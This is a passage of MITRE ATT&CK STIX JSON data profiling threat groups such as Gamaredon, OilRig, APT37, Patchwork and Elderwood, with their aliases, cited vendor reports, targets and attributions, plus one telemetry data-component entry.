2017","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017."},{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Bleepingcomputer Gamardeon FSB November 2021","url":"https://www.bleepingcomputer.com/news/security/ukraine-links-members-of-gamaredon-hacker-group-to-russian-fsb/","description":"Toulas, B. (2018, November 4). Ukraine links members of Gamaredon hacker group to Russian FSB. Retrieved April 15, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a suspected Russian cyber espionage threat group that has targeted military, NGO, judiciary, law enforcement, and non-profit organizations in Ukraine since at least 2013. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Symantec Shuckworm January 2022)(Citation: Microsoft Actinium February 2022)\n\nIn November 2021, the Ukrainian government publicly attributed [Gamaredon Group](https://attack.mitre.org/groups/G0047) to Russia's Federal Security Service (FSB) Center 18.(Citation: Bleepingcomputer Gamardeon FSB November 2021)(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T13:46:34.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Gamaredon Group","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Silent Librarian","TA407","COBALT DICKENS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--90784c1e-4aba-40eb-9adf-7556235e6384","type":"intrusion-set","created":"2021-02-03T16:36:38.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0122","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0122"},{"source_name":"TA407","description":"(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)"},{"source_name":"COBALT DICKENS","description":"(Citation: Secureworks COBALT DICKENS August 2018)(Citation: Secureworks COBALT DICKENS September 2019)(Citation: Proofpoint TA407 September 2019)(Citation: Malwarebytes Silent Librarian October 2020)"},{"source_name":"DOJ Iran Indictments March 2018","url":"https://www.justice.gov/usao-sdny/press-release/file/1045781/download","description":"DOJ. (2018, March 23). U.S. v. Rafatnejad et al . Retrieved February 3, 2021."},{"source_name":"Phish Labs Silent Librarian","url":"https://info.phishlabs.com/blog/silent-librarian-more-to-the-story-of-the-iranian-mabna-institute-indictment","description":"Hassold, Crane. (2018, March 26). Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment. Retrieved February 3, 2021."},{"source_name":"Malwarebytes Silent Librarian October 2020","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."},{"source_name":"Proofpoint TA407 September 2019","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS August 2018","url":"https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities","description":"Counter Threat Unit Research Team. (2018, August 24). Back to School: COBALT DICKENS Targets Universities. Retrieved February 3, 2021."},{"source_name":"Secureworks COBALT DICKENS September 2019","url":"https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again","description":"Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School…Again. Retrieved February 3, 2021."}],"modified":"2021-04-21T12:02:00.278Z","name":"Silent Librarian","description":"[Silent Librarian](https://attack.mitre.org/groups/G0122) is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of  [Silent Librarian](https://attack.mitre.org/groups/G0122) are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["WIRTE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Lab52 by S2 Grupo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","created":"2019-05-24T17:02:44.226Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"G0090","url":"https://attack.mitre.org/groups/G0090"},{"source_name":"WIRTE","description":"(Citation: Lab52 WIRTE Apr 2019)"},{"source_name":"Lab52 WIRTE Apr 2019","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019."},{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)","modified":"2022-04-15T19:50:19.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"WIRTE","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Blue Mockingbird"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tony Lambert, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","type":"intrusion-set","created":"2020-05-26T20:09:39.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0108","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0108"},{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2021-10-12T21:46:13.007Z","name":"Blue Mockingbird","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["OilRig","COBALT GYPSY","IRN2","HELIX KITTEN","APT34"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Robert Falcone","Bryan Lee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"intrusion-set","id":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"G0049","url":"https://attack.mitre.org/groups/G0049"},{"source_name":"IRN2","description":"(Citation: Crowdstrike Helix Kitten Nov 2018)"},{"source_name":"OilRig","description":"(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)"},{"source_name":"COBALT GYPSY","description":"(Citation: Secureworks COBALT GYPSY Threat Profile)"},{"source_name":"HELIX KITTEN","description":"(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."},{"source_name":"ClearSky OilRig Jan 2017","url":"http://www.clearskysec.com/oilrig/","description":"ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017."},{"source_name":"Palo Alto OilRig May 2016","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017."},{"source_name":"Palo Alto OilRig April 2017","url":"http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/","description":"Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017."},{"source_name":"Palo Alto OilRig Oct 2016","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017."},{"source_name":"Unit 42 QUADAGENT July 2018","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018."},{"source_name":"Crowdstrike Helix Kitten Nov 2018","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/","description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018."},{"source_name":"FireEye APT34 Dec 2017","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017."},{"source_name":"Secureworks COBALT GYPSY Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/cobalt-gypsy","description":"Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021."},{"source_name":"APT34","description":"This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)"},{"source_name":"Unit 42 Playbook Dec 2017","url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)","modified":"2022-04-21T15:54:58.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"OilRig","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Tropic Trooper","Pirate Panda","KeyBoy"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington","Bart Parys"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","type":"intrusion-set","created":"2019-01-29T20:17:48.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0081","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0081"},{"source_name":"Tropic Trooper","description":"(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)"},{"source_name":"Pirate Panda","description":"(Citation: Crowdstrike Pirate Panda April 2020)"},{"source_name":"KeyBoy","description":"(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)"},{"description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","source_name":"TrendMicro Tropic Trooper Mar 2018"},{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."},{"source_name":"Crowdstrike Pirate Panda April 2020","url":"https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/","description":"Busselen, M. (2020, April 7). On-demand Webcast: CrowdStrike Experts on COVID-19 Cybersecurity Challenges and Recommendations. Retrieved May 20, 2020."}],"modified":"2021-04-26T14:15:15.610Z","name":"Tropic Trooper","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["APT37","Richochet Chollima","InkySquid","ScarCruft","Reaper","Group123","TEMP.Reaper"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0067","external_id":"G0067"},{"source_name":"APT37","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"Richochet Chollima","description":"(Citation: CrowdStrike Richochet Chollima September 2021)"},{"source_name":"InkySquid","description":"(Citation: Volexity InkySquid BLUELIGHT August 2021)"},{"source_name":"ScarCruft","description":"(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)"},{"source_name":"Reaper","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"Group123","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"TEMP.Reaper","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://securelist.com/operation-daybreak/75100/","description":"Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.","source_name":"Securelist ScarCruft Jun 2016"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"},{"source_name":"CrowdStrike Richochet Chollima September 2021","url":"https://adversary.crowdstrike.com/en-US/adversary/ricochet-chollima/","description":"CrowdStrike. (2021, September 30). Adversary Profile - Richochet Chollima. Retrieved September 30, 2021."},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."},{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 2019"}],"modified":"2021-10-15T16:54:01.193Z","name":"APT37","description":"[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Patchwork","Hangover Group","Dropping Elephant","Chinastrats","MONSOON","Operation Hangover"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","type":"intrusion-set","created":"2017-05-31T21:32:07.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0040","external_id":"G0040"},{"source_name":"Patchwork","description":"(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"},{"source_name":"Hangover Group","description":"[Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)"},{"source_name":"Dropping Elephant","description":"(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"},{"source_name":"Chinastrats","description":"(Citation: Securelist Dropping Elephant)"},{"source_name":"MONSOON","description":"MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)"},{"source_name":"Operation Hangover","description":"It is believed that the actors behind [Patchwork](https://attack.mitre.org/groups/G0040) are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)"},{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"},{"url":"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries","description":"Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.","source_name":"Symantec Patchwork"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"},{"url":"https://securelist.com/the-dropping-elephant-actor/75328/","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","source_name":"Securelist Dropping Elephant"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."},{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"url":"http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf","description":"Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.","source_name":"Operation Hangover May 2013"}],"modified":"2021-11-02T21:07:07.755Z","name":"Patchwork","description":"[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.272Z","name":"Process Access","description":"Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)","x_mitre_data_source_ref":"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Elderwood","Elderwood Gang","Beijing Group","Sneaky Panda"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","type":"intrusion-set","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0066","external_id":"G0066"},{"source_name":"Elderwood","description":"(Citation: Security Affairs Elderwood Sept 2012) (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)"},{"source_name":"Elderwood Gang","description":"(Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)"},{"source_name":"Beijing Group","description":"(Citation: CSM Elderwood Sept 2012)"},{"source_name":"Sneaky Panda","description":"(Citation: CSM Elderwood Sept 2012)"},{"url":"http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html","description":"Paganini, P. (2012, September 9). Elderwood project, who is behind Op. Aurora and ongoing attacks?. Retrieved February 13, 2018.","source_name":"Security Affairs Elderwood Sept 2012"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"},{"url":"https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China","description":"Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.","source_name":"CSM Elderwood Sept 2012"}],"modified":"2021-03-02T22:40:11.097Z","name":"Elderwood","description":"[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Higaisa"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","type":"intrusion-set","created":"2021-03-05T18:54:56.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0126","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0126"},{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."},{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-04-22T02:12:43.892Z","name":"Higaisa","description":"[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 